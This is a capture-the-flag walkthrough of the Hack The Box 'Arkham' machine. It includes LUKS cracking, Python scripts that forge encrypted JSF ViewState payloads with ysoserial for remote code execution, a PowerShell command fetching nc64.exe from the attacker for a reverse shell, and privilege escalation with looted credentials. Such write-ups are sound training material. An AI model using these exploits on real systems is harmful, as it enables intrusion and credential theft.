Previous Page

nihilist - 19 / 04 / 2020

Arkham Writeup

Introduction :



Arkham is a Medium windows box released back in March 2019.

Part 1 : Initial Enumeration



As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.


  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~]
  → sudo nmap -vvv -sTU -p- 10.10.10.130 --max-retries 0 -Pn --min-rate=1000 | grep Discovered
  [sudo] password for nothing:
  Discovered open port 139/tcp on 10.10.10.130
  Discovered open port 80/tcp on 10.10.10.130
  Discovered open port 135/tcp on 10.10.10.130
  Discovered open port 445/tcp on 10.10.10.130
  Discovered open port 8080/tcp on 10.10.10.130
  Discovered open port 49666/tcp on 10.10.10.130
  Discovered open port 49667/tcp on 10.10.10.130

  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~]
  → nmap -sCV -p139,80,135,445,8080,49666,49667 10.10.10.130
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-16 16:20 BST
  Nmap scan report for 10.10.10.130
  Host is up (0.11s latency).

  PORT      STATE SERVICE       VERSION
  80/tcp    open  http          Microsoft IIS httpd 10.0
  | http-methods:
  |_  Potentially risky methods: TRACE
  |_http-server-header: Microsoft-IIS/10.0
  |_http-title: IIS Windows Server
  135/tcp   open  msrpc         Microsoft Windows RPC
  139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
  445/tcp   open  microsoft-ds?
  8080/tcp  open  http          Apache Tomcat 8.5.37
  | http-methods:
  |_  Potentially risky methods: PUT DELETE
  |_http-title: Mask Inc.
  49666/tcp open  msrpc         Microsoft Windows RPC
  49667/tcp open  msrpc         Microsoft Windows RPC
  Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

  Host script results:
  |_clock-skew: 1m54s
  | smb2-security-mode:
  |   2.02:
  |_    Message signing enabled but not required
  | smb2-time:
  |   date: 2020-04-16T15:23:28
  |_  start_date: N/A

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 98.29 seconds

Part 2 : Getting User Access



Our nmap scan picked up port 80 and 8080 so let's investigate them:


  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~]
  → gobuster dir --url http://10.10.10.130:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
  ===============================================================
  Gobuster v3.0.1
  by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
  ===============================================================
  [+] Url:            http://10.10.10.130:8080
  [+] Threads:        50
  [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  [+] Status codes:   200,204,301,302,307,401,403
  [+] User Agent:     gobuster/3.0.1
  [+] Timeout:        10s
  ===============================================================
  2020/04/16 16:44:32 Starting gobuster
  ===============================================================
  /images (Status: 302)
  /css (Status: 302)
  /js (Status: 302)
  /fonts (Status: 302)
  Progress: 133887 / 220561 (60.70%)^C
  [!] Keyboard interrupt detected, terminating.
  ===============================================================
  2020/04/16 16:49:39 Finished
  ===============================================================

Forwarding the request the webpage returns the following:

The url .faces may point out that the website is being hosted on JavaServer Faces, we can also see it in the post request that we captured:


  POST /userSubscribe.faces HTTP/1.1
Host: 10.10.10.130:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.130:8080/userSubscribe.faces
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
DNT: 1
Connection: close
Cookie: JSESSIONID=861F4560D9A76BB7B7FB1DEC2E950CD3
Upgrade-Insecure-Requests: 1

j_id_jsp_1623871077_1%3Aemail=pr0metheus&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D

Onto which the javax.faces definitely hints us towards a JavaServer Faces. Now our nmap scan picked up the smb service running, so let's enumerate it using smbclient:


  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~]
  → smbclient -L //10.10.10.130/ -U ""
  Enter WORKGROUP\'s password:

  	Sharename       Type      Comment
  	---------       ----      -------
  	ADMIN$          Disk      Remote Admin
  	BatShare        Disk      Master Wayne's secrets
  	C$              Disk      Default share
  	IPC$            IPC       Remote IPC
  	Users           Disk
  SMB1 disabled -- no workgroup available

And we see an interesting share named "BatShare" so we log onto it :


  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
→ smbclient -U anonymous //10.10.10.130/BatShare
Enter WORKGROUP\anonymous's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Feb  3 13:00:10 2019
  ..                                  D        0  Sun Feb  3 13:00:10 2019
  appserver.zip                       A  4046695  Fri Feb  1 06:13:37 2019

		5158399 blocks of size 4096. 2122527 blocks available
smb: \> get appserver.zip
getting file \appserver.zip of size 4046695 as appserver.zip (5027.8 KiloBytes/sec) (average 5027.8 KiloBytes/sec)
smb: \> exit

[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
→ md5sum appserver.zip && file appserver.zip
df93790f7ba2782cf59374e88dc52460  appserver.zip
appserver.zip: Zip archive data, at least v2.0 to extract

And we get a zip file so we unzip it :


  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
  → unzip appserver.zip
  Archive:  appserver.zip
    inflating: IMPORTANT.txt
    inflating: backup.img

  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
  → cat IMPORTANT.txt
  Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce

  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
  → file backup.img
  backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e

And here we are dealing with a LUKS encrypted backup file which we have to crack, to do so we will first use dd to get the header hash:


  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
  → dd if=backup.img of=luks-header bs=512 count=4097
  4097+0 records in
  4097+0 records out
  2097664 bytes (2.1 MB, 2.0 MiB) copied, 0.0342869 s, 61.2 MB/s

  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
  → file luks-header
  luks-header: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e

Once we have it we can use hashcat on it, however I didn't check the payload offset beforehand therefore the luks header i have right here is not the correct one :


  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
  → sudo cryptsetup luksDump backup.img
  LUKS header information for backup.img

  Version:       	1
  Cipher name:   	aes
  Cipher mode:   	xts-plain64
  Hash spec:     	sha256
  Payload offset:	4096
  MK bits:       	256
  MK digest:     	9a 35 ab 3d b2 fe 09 d6 5a 92 bd 01 50 35 a6 ab dc ea 01 47
  MK salt:       	36 e8 8d 00 2f b0 3c 1f de 4d 9d 7b a6 9c 59 25
                 	7a e7 1d d7 89 3d 9c ab ef b6 09 8c a8 7b 87 13
  MK iterations: 	176409
  UUID:          	d931ebb1-5edc-4453-8ab1-3d23bb85b38e

  Key Slot 0: ENABLED
  	Iterations:         	2822546
  	Salt:               	3a db 8d 4b 9b f1 63 61 1b df a9 76 16 77 30 96
  	                      	5c 32 a9 aa e4 e7 9d cf 4e f5 9b 3f a1 4c 27 2f
  	Key material offset:	8
  	AF stripes:            	4000
  Key Slot 1: DISABLED
  Key Slot 2: DISABLED
  Key Slot 3: DISABLED
  Key Slot 4: DISABLED
  Key Slot 5: DISABLED
  Key Slot 6: DISABLED
  Key Slot 7: DISABLED

So here we see that the payload offset is actually 4096.


  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
  → dd if=backup.img of=luks-header bs=512 count=4097
  4097+0 records in
  4097+0 records out
  2097664 bytes (2.1 MB, 2.0 MiB) copied, 0.0342137 s, 61.3 MB/s

  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
  → hashcat -m 14600 luks-header /usr/share/wordlists/rockyou.txt

Let it run, and once it's done we get the password "batmanforever". Now we can mount it using cryptsetup:


  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
  → sudo cryptsetup luksOpen backup.img arkham
  Enter passphrase for backup.img:

  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
  → ls -lash /dev/mapper
  total 0
  0 drwxr-xr-x  2 root root      80 Apr 16 19:41 .
  0 drwxr-xr-x 20 root root    3.7K Apr 16 19:41 ..
  0 lrwxrwxrwx  1 root root       7 Apr 16 19:41 arkham -> ../dm-0
  0 crw-------  1 root root 10, 236 Apr 16 19:41 control

Now that arkham is there in /dev/mapper we can mount it:


  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
  → sudo mount /dev/mapper/arkham /mnt

  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
  → cd /mnt

  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt]
  → ls
  lost+found  Mask

  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt]
  → cd Mask

  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt/Mask]
  → ls
  docs  joker.png  me.jpg  mycar.jpg  robin.jpeg  tomcat-stuff

We can simply use thunar to view the images in there:

We have a bunch of images, but the interesting part is in the tomcat-stuff directory.


  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt/Mask]
  → cd tomcat-stuff && ls
  context.xml       jaspic-providers.xml  server.xml        web.xml
  faces-config.xml  MANIFEST.MF           tomcat-users.xml  web.xml.bak

Preety much everything here is default except for web.xml.bak:

So this "secret" myfaces.SECRET value SnNGOTg3Ni0= can be used to decrypt the javax.faces.ViewState value which is very likely to contain a vulnerability as this post suggests:


  POST /userSubscribe.faces HTTP/1.1
Host: 10.10.10.130:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.130:8080/userSubscribe.faces
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
DNT: 1
Connection: close
Cookie: JSESSIONID=861F4560D9A76BB7B7FB1DEC2E950CD3
Upgrade-Insecure-Requests: 1

j_id_jsp_1623871077_1%3Aemail=pr0metheus&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D

Now to do so we'll create a python script:


  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
  → ls
  appserver.zip  backup.img  IMPORTANT.txt  luks-header

  [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
  → nano exploit.py

  from base64 import b64decode, b64encode
  from hashlib import sha1

  def decrypt_view_state(view_state):
          key=b64decode('SnGOTg3Ni0=')

  print(decrypt_view_state("wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D"))

Now our problem here is that we don't know how it was encrypted, so we go and read the documentation and find the DES algorithm:


  import pyDes, hmac
  from base64 import b64decode, b64encode
  from hashlib import sha1

  def decrypt_view_state(view_state):
          key=b64decode('SnGOTg3Ni0=')
          obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
          view_state=b64decode(view_state)
          view_state=view_state + b'\x00\x00\x00\x00'
          print(len(view_state))
          dec = obj.decrypt(view_state)
          return dec

  print(decrypt_view_state("wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE="))

Which reveals us that we are working with a java object with padding. So from there we create a payload using ysoserial:



  [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
  → wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  --2020-04-17 08:38:02--  https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  Resolving jitpack.io (jitpack.io)... 104.26.9.99, 104.26.8.99, 2606:4700:20::681a:863, ...
  Connecting to jitpack.io (jitpack.io)|104.26.9.99|:443... connected.
  HTTP request sent, awaiting response... 302 Found
  Location: /com/github/frohoff/ysoserial/master-30099844c6-1/ysoserial-master-30099844c6-1.jar [following]
  --2020-04-17 08:38:03--  https://jitpack.io/com/github/frohoff/ysoserial/master-30099844c6-1/ysoserial-master-30099844c6-1.jar
  Reusing existing connection to jitpack.io:443.
  HTTP request sent, awaiting response... 200 OK
  Length: 56112629 (54M) [application/java-archive]
  Saving to: ‘ysoserial-master-SNAPSHOT.jar’

  ysoserial-master-SNAPSH 100%[=============================>]  53.51M  9.50MB/s    in 5.6s

  Last-modified header invalid -- time-stamp ignored.
  2020-04-17 08:38:08 (9.61 MB/s) - ‘ysoserial-master-SNAPSHOT.jar’ saved [56112629/56112629]

From which we are able to do java -jar :



  [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
  → java -jar ysoserial-master-SNAPSHOT.jar
  Y SO SERIAL?
  Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
    Available payload types:
  Apr 17, 2020 8:38:44 AM org.reflections.Reflections scan
  INFO: Reflections took 217 ms to scan 1 urls, producing 18 keys and 146 values
       Payload             Authors                                Dependencies
       -------             -------                                ------------
       BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5
       C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11
       Clojure             @JackOfMostTrades                      clojure:1.8.0
       CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
       CommonsCollections1 @frohoff                               commons-collections:3.1
       CommonsCollections2 @frohoff                               commons-collections4:4.0
       CommonsCollections3 @frohoff                               commons-collections:3.1
       CommonsCollections4 @frohoff                               commons-collections4:4.0
       CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1
       CommonsCollections6 @matthias_kaiser                       commons-collections:3.1
       CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
       FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4
       Groovy1             @frohoff                               groovy:2.3.9
       Hibernate1          @mbechler
       Hibernate2          @mbechler
       JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
       JRMPClient          @mbechler
       JRMPListener        @mbechler
       JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
       JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
       Jdk7u21             @frohoff
       Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2
       MozillaRhino1       @matthias_kaiser                       js:1.7R2
       MozillaRhino2       @_tint0                                js:1.7R2
       Myfaces1            @mbechler
       Myfaces2            @mbechler
       ROME                @mbechler                              rome:1.0
       Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
       Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
       URLDNS              @gebl
       Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14
       Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4

in java myfaces there is alot of common collections, so we'll use CommonsCollections5:



  [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
  → java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 10.10.14.3'
  detailMessagetLjava/lang/String;[alueExpExceptionګc-F@LvaltLjava/lang/Object;xrjava.lang.Exception>;xrjava.lang.Throwable5'9wLcausetLjava/lang/Throwable;L
  stackTracet[Ljava/lang/StackTraceElement;LsuppressedExceptionstLjava/util/List;xpqpur[Ljava.lang.StackTraceElement;F*<<"9xpsrava.lang.StackTraceElementa        Ś&BformatI
  lineNumberLclassLoaderNameq~LdeclaringClassq~fileNameq~L
  methodNameq~L
  moduleVersionq~xpQtappt&ysoserial.payloads.CommonsCollections5tCommonsCollections5.javat        getObjectppsq~
  q~q~q~ppsq~                                                                                                   3q~
  tysoserial.GeneratePayloadtGeneratePayload.javatmainppsrjava.util.Collections$EmptyListz<xpxsr4org.apache.commons.collections.keyvalue.TiedMapEntryқ9Lkeyq~LmaptLjava/util/Map;xptfoosr*org.apaiTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;V*4xpsr;org.apache.commons.collections.functors.ConstantTransformerXvAL   iConstantq~xpvrjava.lang.Runtimexpsr:org.apache.commons.collections.functors.InvokerTransformerk{|8[iArgst[Ljava/lang/Object;L
                                                                                                                         iMethodNameq~[
                                                                                                                                       iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;Xs)lxpt
  getRuntimeur[Ljava.lang.Class;׮Zxpt     getMethoduq~/vrjava.lang.String8z;Bxpvq~/sq~(uq~,puq~,tinvokeuq~/vrjava.lang.Objectxpvq~,sq~(ur[Ljava.lang.String;V{Gxptcmd /c ping -n 10.10.14.3texecuq~/q~4sq~$srjava.lang.Integer⠤8Ivaluexrjava.lang.Number
                                                         xpsrjava.util.HashMap`F
  loadFactorI     thresholdxp?@xx%

  [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
  → java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 10.10.14.47' > payload.bin

  [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
  → nano exploit.py

So we saved our payload as payload.bin, now we edit our previous exploit:


  import pyDes, hmac
  from base64 import b64decode, b64encode
  from hashlib import sha1

  def create_payload():
          payload=open('payload.bin','rb').read()
          return encrypt_payload(payload)

  def encrypt_payload(payload):
          key=b64decode('SnGOTg3Ni0=')
          obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
          enc = obj.encrypt(payload)
          hash_val = (hmac.new(key, bytes(enc),sha1).digest())
          payload= enc + hash_val
          return b64encode(payload)

  def decrypt_view_state(view_state):
          key=b64decode('SnGOTg3Ni0=')
          obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
          view_state=b64decode(view_state)
          view_state=view_state + b'\x00\x00\x00\x00'
          dec = obj.decrypt(view_state)
          return dec

  print(decrypt_view_state("wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE="))
  print(create_payload()

To which we add the http POST request we need:


  import requests
  import pyDes, hmac
  from base64 import b64decode, b64encode
  from hashlib import sha1

  def create_payload():
          payload=open('payload.bin','rb').read()
          return encrypt_payload(payload)

  def encrypt_payload(payload):
          key=b64decode('SnGOTg3Ni0=')
          obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
          enc = obj.encrypt(payload)
          hash_val = (hmac.new(key, bytes(enc),sha1).digest())
          payload= enc + hash_val
          return b64encode(payload)

  def decrypt_view_state(view_state):
          key=b64decode('SnGOTg3Ni0=')
          obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
          view_state=b64decode(view_state)
          view_state=view_state + b'\x00\x00\x00\x00'
          dec = obj.decrypt(view_state)
          return dec

  #print(decrypt_view_state("wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE="))
  #print(create_payload())

  def exploit():
          url='http://10.10.10.130:8080/userPr0metheus.faces'
          view_state=create_payload()
          data = { 'javax.faces.ViewState' : view_state }
          requests.post(url,data=data)

  exploit()

So here we have our exploit which sends a javax.faces.ViewState payload to ping ourselves basically. We could check it with the following command:


  [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
  → tcpdump -i tun0 icmp

So from here we need to upload nc64.exe to spawn a reverse shell:


  [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
  → java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'powershell.exe -exec bypass Invoke-WebRequest "http://10.10.14.47:9000/nc64.exe" -OutFile "c:\windows\system32\spool\drivers\color\nc64.exe"' > xct_is_awesome


So far we've used ippsec's steps, but to for additional diversity, we can use hipotermia's python script in order to upload netcat and then use it to get a reverse shell:


  import urllib
  import base64
  import subprocess
  import requests
  import hashlib
  import pyDes
  import hmac
  import sys

  url= "http://10.10.10.130:8080/userSubscribe.faces"
  r=requests.get(url)
  cookie=r.headers['set-cookie']

  cmd=sys.argv[1]

  secret = base64.b64decode("SnNGOTg3Ni0=")
  cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5)

  ysoserial= 'java -jar ../ysoserial-master-SNAPSHOT.jar CommonsCollections6 "' +cmd+'"'
  payload=subprocess.check_output(ysoserial,shell=True)
  payload=cipher.encrypt(payload)
  hmacSignature= hmac.new(secret,payload,hashlib.sha1).digest()
  payload=base64.b64encode(payload + hmacSignature)
  payload=urllib.parse.quote(payload)

  headers = {"Cookie":cookie,"Content-Type":"application/x-www-form-urlencoded"}
  data="j_id_jsp_1623871077_1%3Aemail=nihilist&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState="+payload
  r= requests.post(url, data=data, headers=headers)

As you can see i updated his script a bit because the urllib needed to become urllib.parse in python3, so we'll first test if it works by making the machine ping back to us :

And we made the machine ping us ! from there we need to make the machine download netcat.exe from us, and execute it.

it doesn't seem to work so we'll go for snowscan's solution which consists in saving the netcat binary in \programdata\ instead.



  [ 10.10.14.47/23 ] [ /dev/pts/8 ] [~/_HTB/Arkham]
  → nc -lvnp 9001
  listening on [any] 9001 ...
  connect to [10.10.14.47] from (UNKNOWN) [10.10.10.130] 49779
  Microsoft Windows [Version 10.0.17763.107]
  (c) 2018 Microsoft Corporation. All rights reserved.

  C:\tomcat\apache-tomcat-8.5.37\bin>whoami
  whoami
  arkham\alfred

  C:\tomcat\apache-tomcat-8.5.37\bin>cd C:\Users\Alfred\Desktop
  cd C:\Users\Alfred\Desktop

  C:\Users\Alfred\Desktop>type user.txt
  type user.txt
  baXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! we have been able to print out the user flag.

Part 3 : Getting Root Access



Now to privesc on this box we need to take a look into Alfred's download directory:



  C:\Users\Alfred\Desktop>cd ..
  cd ..

  C:\Users\Alfred>cd Downloads
  cd Downloads

  C:\Users\Alfred\Downloads>dir
  dir
   Volume in drive C has no label.
   Volume Serial Number is FA90-3873

   Directory of C:\Users\Alfred\Downloads

  02/03/2019  08:48 AM    <DIR>          .
  02/03/2019  08:48 AM    <DIR>          ..
  02/03/2019  08:41 AM    <DIR>          backups
                 0 File(s)              0 bytes
                 3 Dir(s)   7,898,488,832 bytes free

  C:\Users\Alfred\Downloads>cd backups
  cd backups

  C:\Users\Alfred\Downloads\backups>dir
  dir
   Volume in drive C has no label.
   Volume Serial Number is FA90-3873

   Directory of C:\Users\Alfred\Downloads\backups

  02/03/2019  08:41 AM    <DIR>          .
  02/03/2019  08:41 AM    <DIR>          ..
  02/03/2019  08:41 AM           124,257 backup.zip
                 1 File(s)        124,257 bytes
                 2 Dir(s)   7,898,488,832 bytes free

Into which we find a certain backup.zip file that we send over to our local machine:

So we unzip it and we find an .ost file that is an Outlook email folder That we can read using readpst, which you can install like so :



  [ 10.10.14.47/23 ] [ /dev/pts/6 ] [~/_HTB/Arkham]
  → sudo apt install pst-utils

  [ 10.10.14.47/23 ] [ /dev/pts/5 ] [_HTB/Arkham/hipotermia]
  → readpst alfred@arkham.local.ost
  Opening PST file and indexes...
  Processing Folder "Deleted Items"
  Processing Folder "Inbox"
  Processing Folder "Outbox"
  Processing Folder "Sent Items"
  Processing Folder "Calendar"
  Processing Folder "Contacts"
  Processing Folder "Conversation Action Settings"
  Processing Folder "Drafts"
  Processing Folder "Journal"
  Processing Folder "Junk E-Mail"
  Processing Folder "Notes"
  Processing Folder "Tasks"
  Processing Folder "Sync Issues"
          "Inbox" - 0 items done, 7 items skipped.
  Processing Folder "RSS Feeds"
  Processing Folder "Quick Step Settings"
          "alfred@arkham.local.ost" - 15 items done, 0 items skipped.
          "Calendar" - 0 items done, 3 items skipped.
          "Drafts" - 1 items done, 0 items skipped.
  Processing Folder "Conflicts"
  Processing Folder "Local Failures"
  Processing Folder "Server Failures"
          "Sync Issues" - 3 items done, 0 items skipped.

In the drafts folder we have an interesting email with a b64 encoded attached image:



  [ 10.10.14.47/23 ] [ /dev/pts/5 ] [_HTB/Arkham/hipotermia]
  → file Drafts.mbox
  Drafts.mbox: HTML document, ASCII text, with very long lines

  [ 10.10.14.47/23 ] [ /dev/pts/5 ] [_HTB/Arkham/hipotermia]
  → nano Drafts.mbox


  echo 'B64STRING' | base64 -d > image001.png

And so from here we have the user batman's credentials : batman:Zx^#QZX+T!123



  C:\Users\Alfred\Downloads\backups>net user batman
  net user batman
  User name                    Batman
  Full Name
  Comment
  User's comment
  Country/region code          001 (United States)
  Account active               Yes
  Account expires              Never

  Password last set            2/3/2019 9:25:50 AM
  Password expires             Never
  Password changeable          2/3/2019 9:25:50 AM
  Password required            Yes
  User may change password     Yes

  Workstations allowed         All
  Logon script
  User profile
  Home directory
  Last logon                   4/18/2020 8:16:05 AM

  Logon hours allowed          All

  Local Group Memberships      *Administrators       *Remote Management Use
                               *Users
  Global Group memberships     *None
  The command completed successfully.

here we see that batman is a member of the Administrator group. So we privesc to batman using powershell:



  C:\Users\Alfred>powershell
  powershell
  Windows PowerShell
  Copyright (C) Microsoft Corporation. All rights reserved.

  PS C:\Users\Alfred> $user = 'batman'
  $user = 'batman'
  PS C:\Users\Alfred> $pass = 'Zx^#QZX+T!123'
  $pass = 'Zx^#QZX+T!123'
  PS C:\Users\Alfred> $secPass = ConvertTo-SecureString $pass -AsPlainText -Force
  $secPass = ConvertTo-SecureString $pass -AsPlainText -Force
  PS C:\Users\Alfred> $cred = New-Object System.Management.Automation.PSCredential $user, $secPass
  $cred = New-Object System.Management.Automation.PSCredential $user, $secPass
  PS C:\Users\Alfred> enter-pssession -computername arkham -credential $cred
  enter-pssession -computername arkham -credential $cred
  [arkham]: PS C:\Users\Batman\Documents> whoami
  whoami
  arkham\batman

Now that we are logged in as the user batman, we see that we can't actually get into the Administrator directory:



  [arkham]: PS C:\Users\Batman\Documents> cd \users\administrator\desktop
  cd \users\administrator\desktop
  [arkham]: PS C:\Users\Batman\Documents>

So next up we'll use snowscan's unintended privesc solution which was to first check that UAC was enabled, which explains why we couldn't get into the Administrator's directory as batman:



  [arkham]: PS C:\Users\Batman\Documents> (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA
  (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA
  1

But for some reason, if we use the UNC paths we could get access to the administrator directory, which gets the root flag:


  C:\Users\Batman\Documents>pushd \\10.10.10.130\c$

  Z:\>cd \users\administrator\desktop

  Z:\Users\Administrator\Desktop>dir
   Volume in drive Z has no label.
   Volume Serial Number is FA90-3873

   Directory of Z:\Users\Administrator\Desktop

  02/03/2019  09:32 AM    <DIR>          .
  02/03/2019  09:32 AM    <DIR>          ..
  02/03/2019  09:32 AM                70 root.txt
                 1 File(s)             70 bytes
                 2 Dir(s)   8,710,045,696 bytes free

  Z:\Users\Administrator\Desktop>type root.txt
  type root.txt
  63XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Another way was to remember that we could mount shares, therefore mapping the C$ volume in G:



  [arkham]: PS C:\Users\Batman\Documents> net use G: \\10.10.10.130\C$
  net use G: \\10.10.10.130\C$
  The command completed successfully.


  [arkham]: PS C:\Users\Batman\Documents> fsutil fsinfo drives
  fsutil fsinfo drives

  Drives: C:\ D:\ G:\

